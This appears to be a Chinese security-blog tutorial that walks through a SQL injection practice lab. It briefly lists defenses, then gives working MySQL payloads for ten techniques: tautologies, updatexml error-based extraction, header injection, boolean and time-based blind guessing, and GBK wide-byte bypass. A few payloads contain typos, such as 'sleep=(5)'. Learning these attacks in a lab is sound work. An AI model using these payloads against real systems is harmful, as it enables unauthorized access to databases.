可怕的漏洞,SQL注入漏洞实战演习
简介
在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞(在最新的类型中:命令注入、代码注入、xss注入、sql注入等已经合并统称注入漏洞)。一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
原理:SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
建议阅读:
防御方法:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
本篇文章将讲解如何利用SQL注入漏洞获取数据:
1.数字型注入(POST)
2.数字型注入(GET)
3.搜索型注入
4.xx型注入
5“insert/update”注入
6.“dalete”注入
7.“http header”注入
8.盲注(base on boolian)
9.盲注(base on time)
10.宽字节注入
实战
数字型注入(POST)
2.抓包查看(PS:工具的操作可以查看burpsuite的文章哦!!)
3.修改包插入or 1=1# 对数据进行遍历,发现可以遍历成功,有漏洞。(PS:输入这条语句在后台中会拼接为select username ,email from member where id=4 or 1=1#)
数字型注入(GET)
1.发现一个查询框,可以输入字符
2.直接使用1' or 1=1#
走一波查看是否可以直接注入,发现无过滤可以直接注入。
搜索型注入
1.发现页面有一个搜索框,猜测模糊查询的字段应该是'%查询内容%'
2.使用%号进行闭合构造1%' or 1=1#
试试,成功注入(其实1' or 1=1#
也能注入成功)
XX型注入
1.发现一个输入框使用1' or 1=1#
进行尝试发现报错,大概意思是说我的语法有错误。
2.说我语法错误,使用)号进行构造1') or 1=1#
来闭合报错信息
扩展:基于报错的信息获取
技巧思路:
在mysql中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。
select/insert/update/delete
要求:
后台没有屏蔽数据库报错信息,在语法发生错误的时候会输出在前端
updatexml() : 是mysql对xml文档数据进行查询和修改的xpath函数
extractvalue():是mysql对xml文档数据进行查询的xpath函数
floor():mysql中用来取整的函数
updatexml函数的作用就是改变(查找并替换)xml文档中符合条件的节点的值
语法:updatexml(xml_document,XPthstring,new_value)
第一个参数是字符串
第二个参数是指定字符串中的一个位置(Xpath格式的字符串)
第三个参数是将要替换成什么
Xpath定位必须是有效的,否则则会发生错误
“insert/update”注入
1.insert型,发现一个注册页面,点击注册进入
2.我们知道insert就是在数据库中添加数据,我们猜测后台的mysql语句应该是insert into user(name,password,sex,phone,address1,address2) value('xxx',123,1,2,3,4)
那我们可以在xxx的位置构造我们的注入语句1' or updatexml(1,concat(0x7e,database()),0) or '
成功获取数据库名。
3.update型,我们先正确注册一个账号,然后登录
4.点击修改个人信息,还是和之前一样,我们要想象,后台的mysql语句是怎么执行的,更新我们的信息,需要用到的时候update语句,构造1' or updatexml(1,concat(0x7e,database()),0) or '
来获取数据库名。
“delete”注入
1.发现一个留言板,既然是delete注入,那肯定是在删除这里。
2.点击一下删除,使用burpsuite抓包查看,删除使用数字型我们就不用单引号闭合,直接or就行了
3.构造+or+updatexml(1,concat(0x7e,database()),0)
添加到url后面,成功获取到数据库名。
“http header”注入
1.先登录一下看看。
2.提示说我的信息被记录了!!!还返回了我的user-agent
,那么肯定把我的user-agent
记录到数据里了,那我们就从user-agent
注入。
3.抓包在user-agent传个’
号看看什么情况,发现有报错信息。
4.构建' or updatexml(1,concat(0x7e,database()),0) or '
成功获取数据库名。
盲注(base on boolian)
表现:
1.没有报错信息
2.结果都只显示两种情况(0或1)
1.布尔型麻烦就在于需要多次尝试来测试出正确的注入点,先正常查询看看。
2.加个‘
号看看,无回显
3.构建vince' order by 2#
试试,有回显。
4.构建vince' order by 3#
试试,无回显。
判断库名长度
and length(database())=长度数字#
判断库名的组成
and ascii(substr(database(), 1, 1)) = ascii的表中字母对应的数字#(这里1,1 代表着第一个数据的第一个字母)
猜解表名,猜解列名也是用这个语法
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115
盲注(base on time)
1.Kobe' and sleep(5)#
页面会延迟五秒
2. kobe' and if ((substr(database(),1,1))='a',sleep=(5),null)#
1ms就返回结果 说明不是 "a" 改为”p”不返回 一直到确定数据库的全称,可以直接使用sqlmap跑或者编写脚本。
宽字节注入
宽字节注入使用条件:
1.使用adds lashes()函数(提交的符号用“/”转义)
2.数据库设置编码为GBK格式
原理:
前端输入%df时,首先经过addslashes()
转义变成了%df%5c%27
,之后,在数据库查询前,因为设置了GBK编码,GBK编码在汉字编码范围内的两个字节都会重新编码为一个汉字,然后Mysql数据库就会对查询语句进行GBK编码,即%df%5c
被编成了,而单引号就逃逸出来了,从而形成了注入漏洞。
1.抓包构造payload:vince%df%27 or 1=1#
直接遍历出来了。
2.如果想要爆表爆列只需要在vince%df%27
和#
中间插入语句即可。
往期内容
专业的信息安全团队,给你最安全的保障。定期推送黑客知识和网络安全知识文章,让各位了解黑客的世界,学习黑客知识,普及安全知识,提高安全意识。
觉得不错点个“赞”呗